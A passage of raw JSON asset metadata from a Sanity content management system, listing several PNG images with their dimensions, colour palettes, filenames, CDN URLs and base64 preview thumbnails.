08n6PMuLzg8nJ+fLL7//+T/nAPEMEM8CCSwgz04kgZmPPLsGeVZNPJNO/BzZ2Ejc9AdHQBLuaAKADdB36AAM1+uBPAARTgLkhZeLAwAUgQIrQZ59kwRGhTzbTAJzigTm4tjZ+efun1x66Nsj2RW9oR2pzS2t89pbm2KICGggB6CVIOIFwFcwEfq/XRwJjAF59gwK7F3k2WfPv0x48dvwyhdXPzP9NXKk4cbBT8JnOjs7dwcCgdW+xj2TfxisgWc1U6TIwUTkIIa8IBkHosBOIIHNQJ49iTz7mATm8djZuTd+PqG4JRwq+nt4MEjDn5/Ao0cHn/cePPhzd3d3KBQMLv9mT4YImYGcZAFyMI84mPTSUGBnE8/uQp79BXn2KQkMf39ooXfAX9Abbq+/d/hwP506PRIZHh6mgYEB7O3t/b7vk3DJzcbVCbQD3o1wkvfIC4uIg6mvgIwMeWYAeXYUefY2fRVf+UX7B8nVVZV7d+7ced/vb6P+/v5IX19fJBwO076u8B/Huvd23G5YsZ48oIhwUUuRgznohWh8BVxJwnjcf5Bnr5EQn13P2eVVVdWfVla6Hm/bto1aWlqwra0NOY4jX+Oe0SOh+pHrTek69MDiyM6ouH85afTrlklgl5DAHkOe/Rt59gYJjKPfb15fW1s7WF9fP+rz+SgYDGJXVxe2trZSOBR4MdjTdv6C35wz5oaZVDclqrtj78umx0vhWQZ5phH58XbFUoZuHlV4Q01lQ817G560tbVRS3Mztvv9GAwGqad7358DBzoPjXRxy0gH0q7zd2Ao4AbkXs8hG0MCk4k8e068RxKYh09OJXx3OpB6c7fH+sztdpPb7RbjYl1dHfl8vluhQLurv6djpnDlFnQEQjDa9BYoM/OAPhYjn4sftySBsZPAXiCBffT0dMI/XweXj1VZVRGLxUIulws9Hg9xHBfhOO5KTU2NJhAKx1Ru9UCPvwHWFDfC3PjZsNvXATDcmQ/09XTp6MiChLtDMuft40mXLh9c9XT/rjQy6T5EtVqNWq0WLRYLlpeXo8vluulyuTin07mouLh4stO1VTJpRRXMWmGBqQongK/WBru5KmisLZ/SvMuqa6k1X6zbph91WnVoNhlQr9ejRqNBg8GAVquVSktLnzocjqs2my1gtVrVzjL7zDdWVwIwNoAYB0B1pQs2l3qhuqoqtrxii73UZvupoKAANVotms1mtNlsWFpaSlarVTyT0WjEoqKisZKSkl+Li4v3FZiKZDC/UDp1RYU0NtkGUO0qhy6PEdqr9ZO2Oy26EnPBtazMjyJKpRIzMjJQ3NPS0nDDhg2kUqkwJydHtCaTyfTAYCrcty6zMAnetc2IXlY2XSK3S6G8zAF3t4DkuXdC7AnXmgy3Jft43qbshyIgZe1aTEpKwsTERFQoFKhUpotA0un1Y5sLDJc1erN1Qap1ISx2xEuXON4EuT1aHEjJix2SacTBwt+3z1jXY0+tKDHmjWzatOmeSqWKpKWlUUpKCimVSsrKyqT8/PxnmwsMP2p0pub3VZaVE5Y54kHumANyxyyQOaLEYRTf4GzkYFnEC8mXKt+RlxXmZev1uv25ubnX1Wr1XZVK9SgnJ/eRRpt/Jy9ffz5Pb6xdn1WUMl1hnQeJdhE2B2T2WSB3RImGUuIgFr0wT3zko57oSU6LbprZbFqq1WqNGzdu/FitVodyNfmdmRpjQ0aWYXNyeuHyWIV9LshEMzsDcrtoGQcyMTI3/uOK0Ogxr0TKG6fCdwcqINjhl+Tk5k5MSVkbl5q6bv6qtNy3F6wtWjgt2TYXEm3xIBPN7LNf2o2DZ4HcHvUf8GLNquiplK0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a4942","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#983604","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b604","foreground":"#000","population":0.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9da6b7","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9d16e","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#846c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8b604","foreground":"#000","population":0.28,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"everactive-quote-image-composition.png","path":"images/sczeoy4w/production/16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500.png","sha1hash":"16cc4eae29b1e667a401fca772d9a73f5d63b401","size":2420141,"uploadId":"sYFRrYtaEUKUNmJNDyBrAfDgnLKUvTeM","url":"https://cdn.sanity.io/images/sczeoy4w/production/16cc4eae29b1e667a401fca772d9a73f5d63b401-2500x2500.png"} {"_createdAt":"2023-07-07T09:37:07Z","_id":"image-e38185a0eee5787d4ecff0e32fe8faec27a7f321-502x500-png","_rev":"lIJH2XrFwRt4uP1xSOhtu0","_type":"sanity.imageAsset","_updatedAt":"2023-07-07T09:37:07Z","assetId":"e38185a0eee5787d4ecff0e32fe8faec27a7f321","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKFrqo?bKGIA#Q.mNe,.rXROPEXnw5aMjXpKNHNLX8S2T2RlohozNd","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.004,"height":500,"width":502},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABYlAAAWJQFJUiTwAAAFa0lEQVQ4jR3M/VOThwHA8eeua7ddrYgKAmrBgfIivtAJ6kZVBJ1VEAIJEF5DAiEhyZMQHgh5EhIChpeQxCIRDRICQZhpLSq9VtrZO+5m29nuttpd7bXbD/tPvrvup89vH2E6+QzH2r8QV/5D39JP9MV/wP34FUvf/Zvln37A8/w5rasPueadQT3oxRaKIS1+jivxgqWn3/Pi5Su++vYf3L3/MX3uCML6koXQ+gYjD/6Jc/0Fjg//zvT2S9Z//pHkf38k/O3f0MeWqRbtKPVG9J4bmOYSTN7fYOuTKN88HeXBiheb20etbghh2ZnHUtTK7Q/vMZ1cwLu5if+vz7n7/Tes//wdi18+Yzg4iaa3my69jvbeHlodw7hnx4gHlSzL+cwMl2G2N9Fna0QId/2G9cBxVpYVTMUtyE8SDP5lC9cXW9zc3iL6QZyQ34VftuMdsmHUtKDqVKMZNGAyXKJfnY7XlkPA/0ce3j6OEJd+RXI6ldXIEUILLfg+jjO4tYm0ucHUwzXuLYRZnhkl7h8hIg/g1nfS2VZPk6EVnXgdn1RIZDqP2O1ivljKRHgafJ1k6C2S81ncX1dx59kKU58/ZuyDVUILt4gFfayNyyRkOxGrEY+unW71dVSaOvRDSmbD50lETzB/5x2it4sQPpv5NZs3f8vG+3t5EK9nZXOeueQ9JkOjeCUDNwwdzBo1hLvbcKvrMNVfob2mgjplFR02FaNBBeG5s/jCZbjD5xAeed9gw/86cWcKEU85d983EZnuZ1buZaynkaGmamS1AklZjbG6AsP1C+hqz9PccI5OSzX9EwoGp97F7CvBPPYHhEXpNaLyGwSlnUwM5DI/fplHISNbAYk/y0Yioo4ZoxZXq4rBpmq8GgWj2nrErj+hFSvp9VymWz5Lq+04arEEwW3ewcjwHtyjbzMk5zPlu8jWLZGvg04+HbHy2GPnkcfBotlAQNNIxNBC1NKG21hDh6UCrbuKduksSsMJmsylCN3mbCyuIqSJ05g9ZUjOC6yOadh09LCibyZh7uSJ00rSpme+q4FYdz0JiwqP6Qqt5nK63JXovVXoXBfpcVchmOQCRG8pkv8CermUTrEEv3SNmKWRm+3VBNrrWDC2sWRsYV5bS9ygICEpGbZepFZbTFN/GdbpGsSpOjTOKgSLKx+LqwSz6zQqUyGVLdlotKWERAVzBhVBXSNzva3cNaqJGlUs25qIDCnQ9ZZR0ZRDrfEYPd7LaOQrKEznEJqN2XTbj9JiKqKi+SClNVkoWk8QHGpg3aUjIWmJmTuJ9bURt7Rwx6zE2lFBZU0BZ2qyudRWxDXdO1zVneKKrhShoW8/3Y4C1GIRl1ryudp8CueAgk9uiWyHbTwZ0bNm7WDZqGbZ1Ii/4yrvlZdwuDiXwtLDlJwv4veVRZy5VkR5wzGEjuHDiONl2MffwyApEW1dxGccvFqf4GXUweaIlvtiE6tmFbG+Bux1FzmZX0B65iGysgvIzjtKbuExCkpOcOxMCUL/eC2egJaJoMSoT0YedhDyOng27+Xl4gjb0xY+cnSRlDqY61WifPc0B7NySN3zNnvSf0d65hEyDxRyIKeYnLyTCNPhcQIzk0z4/Yx6fQw7ZCSbjSmHyEbAwfZNJ5/dGGDNYWRAWU3JkXx27cpg564sUnYfZHfaIdIyDrMvK5+M/QUIodAsE/4AnhEfsnOEoUEnFouNXl0Pg4YegvY+QpYeJLWKS2fOkrnvIG++lcaOlAx2pu4ndW82e/flkpaR93+FyYlfsjEcQy6kAQc26wCGXhPtbRpUDc3UX6+nsvw8pSdPUXz0JOkZ2by5M50dKZmk7D5Aalo2ezN+CXPZk36I/wGUWoQA5VP0ngAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f5027","foreground":"#fff","population":5.62,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#876e0d","foreground":"#fff","population":6.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9c6a57","foreground":"#fff","population":6.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9ecbb4","foreground":"#000","population":6.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ddb48d","foreground":"#000","population":6.33,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6a57","foreground":"#fff","population":6.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0ae10","foreground":"#000","population":2.55,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Screenshot 2023-07-07 at 11.36.56.png","path":"images/sczeoy4w/production/e38185a0eee5787d4ecff0e32fe8faec27a7f321-502x500.png","sha1hash":"e38185a0eee5787d4ecff0e32fe8faec27a7f321","size":536648,"uploadId":"RJgNU89019vTfSkhSg42vSEYlCboEAwa","url":"https://cdn.sanity.io/images/sczeoy4w/production/e38185a0eee5787d4ecff0e32fe8faec27a7f321-502x500.png"} {"_createdAt":"2022-06-15T05:13:18Z","_id":"image-12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308-png","_rev":"cEPH2uRN58AU2lp9QO7ooj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:47Z","assetId":"12df1e020381e7b5a167d47caee17d0c9d4488bc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TM}=*Ze9*~gh@0lSe9k;e-Y+eThef6em","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABcRAAAXEQHKJvM/AAACDElEQVQokVXR228MCBiG8VmbxZIooZJuZVcTh2yxVWFaY3rIGDrtZLSdUhOprtluUWpU6aRaaWU3iEOQiENs4oI7CTci8dd9P2GKdfHkvXvyJG/CvqH4zN6jtU0OhlQhdOZCJhN6OkK+LfS3hqM7Q2lbGGkK5cYwXh/OrQ2VVWH6pzDzQyS+Cr/QNhAO5EP34ZDtDrlUKOwLgy1huDmc2BJGfwtjDeHM+nB+TZhaGa78GKqJz0JfSRbZX6AjR+YguS4KKfr3MLSD49sY2cypRsbrmVhLZTXTy5lZRjXh+8L2gZDOh2xfKB4Jo8VQzoeTHeGv/eFsMpxvDZXmMNkYJpfqLtfqvi/8UtfVy3CJ+RluX+PGJW5McP8Cjz7xNw9LLLYyVceVn5lbzdxyZpf5Jmwf4EAfB3OMneL+TZ7c4sEsj6/yYoGX87y4yLNRbrZRXcfCRu79zq3N/LNhSZgcJFWgs4dsluNHuDjKpRKVPJd7mctx/TCLaRZauNbE4ibu7eJpR41nnZ+ERdr7SffRfYhDXeTTDLZzbA+lHYxspdzE6U2c28iFOmbrufsHTzv5L8urId6ekdD2v7pMhp40+ST9u2vPlpaeLf/C+AYm6qisYraOO9t5nuFlkddl3lclanX5Wl22m94Uhb0UWxhu5sQW/vyVsQbOrmdyDVMrqa7g34aa8M1p3k3zYd5HqgkH7ZxV1JQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964502","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#823c02","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7405","foreground":"#fff","population":12.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#934a05","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fab97c","foreground":"#000","population":6.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#964502","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb7405","foreground":"#fff","population":12.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308.png","path":"images/sczeoy4w/production/12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308.png","sha1hash":"12df1e020381e7b5a167d47caee17d0c9d4488bc","size":119416,"uploadId":"IhRp4tyvULCg8wQmgdbJggSETSpITSS7","url":"https://cdn.sanity.io/images/sczeoy4w/production/12df1e020381e7b5a167d47caee17d0c9d4488bc-2500x1308.png"} {"_createdAt":"2022-12-07T19:22:29Z","_id":"image-f3e8e1e2615e78509dd0c19eb706a833f1fa9cc8-1200x1200-png","_rev":"WCxK3EcVhP1U4hck0aYCPN","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T19:22:29Z","assetId":"f3e8e1e2615e78509dd0c19eb706a833f1fa9cc8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJK9-@?*Dj0N0i:$a658b{tm05i1Fgxo=XGati^KV?v}MvK7-6sm%N","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a4930","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9e4105","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe965","foreground":"#000","population":6.67,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dad6bf","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbe965","foreground":"#000","population":6.67,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#506a95","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8606","foreground":"#000","population":5.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-puts-last-block-stack.png","path":"images/sczeoy4w/production/f3e8e1e2615e78509dd0c19eb706a833f1fa9cc8-1200x1200.png","sha1hash":"f3e8e1e2615e78509dd0c19eb706a833f1fa9cc8","size":265685,"uploadId":"pUy3IX8eczwTV5APnAaHJgN4O8ic1BhF","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3e8e1e2615e78509dd0c19eb706a833f1fa9cc8-1200x1200.png"} {"_createdAt":"2022-12-07T19:24:29Z","_id":"image-2ffc37f970d9a72182b55b90945c8f88007a3eee-1200x1173-png","_rev":"9LEoCS0NKqkxZjwObGW317","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T19:24:29Z","assetId":"2ffc37f970d9a72182b55b90945c8f88007a3eee","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKHUwpJ80L,pDi}t9a5k-Awc00%gt,w^%34Txuozn%tRELIAxGS2t8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0230179028132993,"height":1173,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55352e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b285d","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f47110","foreground":"#fff","population":0.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdc3b3","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c74","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#717c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f47110","foreground":"#fff","population":0.66,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-with-cloud-triangle-patterns.png","path":"images/sczeoy4w/production/2ffc37f970d9a72182b55b90945c8f88007a3eee-1200x1173.png","sha1hash":"2ffc37f970d9a72182b55b90945c8f88007a3eee","size":545495,"uploadId":"Z0qV1wh8I86DzF3nZHJxsOOqIuNs8VLR","url":"https://cdn.sanity.io/images/sczeoy4w/production/2ffc37f970d9a72182b55b90945c8f88007a3eee-1200x1173.png"} {"_createdAt":"2022-06-30T20:09:23Z","_id":"image-f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412-png","_rev":"CK1sLU2mnwa3vmbYWEdM1Q","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:48Z","assetId":"f19e5c92824f3fe99eeab9bdd980db305ed924d1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5S?AOkX-;-:IU~Wj?tRflRjOr%2?Ht7RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.75,"height":412,"width":721},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAABLUlEQVQokW2SW27dMAxEvf+Ntk6QorH4JocqJDvp/cjBeEATHkOidMw5ezM3hWaxj48/53m+n+f7719vb+ffz093//7mmwNARLg7gNkNtHkQMQ3iMXgMoiEiEbHCr5rzqCoRYebM7G4UUFWZyKwXIbOr/gu1wpnJLDQoVOEG1SWzF9e+C1UIQwUq7T67DzMjIrpGEIEZNIouMGGM7RdorD4zRFZ46wmPMa7rokFp1hHY6ox+3HeRj6o6axX3sq8NEblnorMQ1bvowqMfmXMeqkpEa6gS4mAH2fKxnQ2ewE/5Z9oqMoiJTSzFkq3YijTZkjU91ryr1nOT+727j+7OTDNXNd8H7h7usTrmIma2e+7xha8drnM97hsG4P7f7VUVEWbKG1W9Y/nFulFz/gOAoYRIMazT3wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6b2f2d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d2927","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0b0ae","foreground":"#000","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b0ae","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94b4ec","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5d73a9","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#af4e4a","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412.png","path":"images/sczeoy4w/production/f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412.png","sha1hash":"f19e5c92824f3fe99eeab9bdd980db305ed924d1","size":58572,"uploadId":"NnDfj9GKo17KCGIDpMrl4oGMvbQzK65w","url":"https://cdn.sanity.io/images/sczeoy4w/production/f19e5c92824f3fe99eeab9bdd980db305ed924d1-721x412.png"} {"_createdAt":"2022-06-30T19:57:14Z","_id":"image-5ea58bfbbf1669124033f967b67181c3583ec8b5-1200x675-png","_rev":"cEPH2uRN58AU2lp9QO7hmr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:44Z","assetId":"5ea58bfbbf1669124033f967b67181c3583ec8b5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MgRC}Ot7tQe:kC~WayWBofj[4:afRkkCjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":675,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACE0lEQVQokXWQ20tUURSH57+qrKws6M8JoYeMepAwGM1L9NCzd02YBFMcSi21AgkaQalG09G5OjNnzv3Mue3zxdnaeMkWfHuttRfrt9faiSiKaDoOaqOBUqtLVKWB1lBb3tANDF1HVzXp41xTVVnTTryuaVInEQv6nodt2ViG2Wo2DVNimSaObUtsy2rFlmnJmm1ZJ9h4ricFpQkhIhGKyPe8yHGcyPO8KAzD/xME0ouYuFeIWCRKcMbk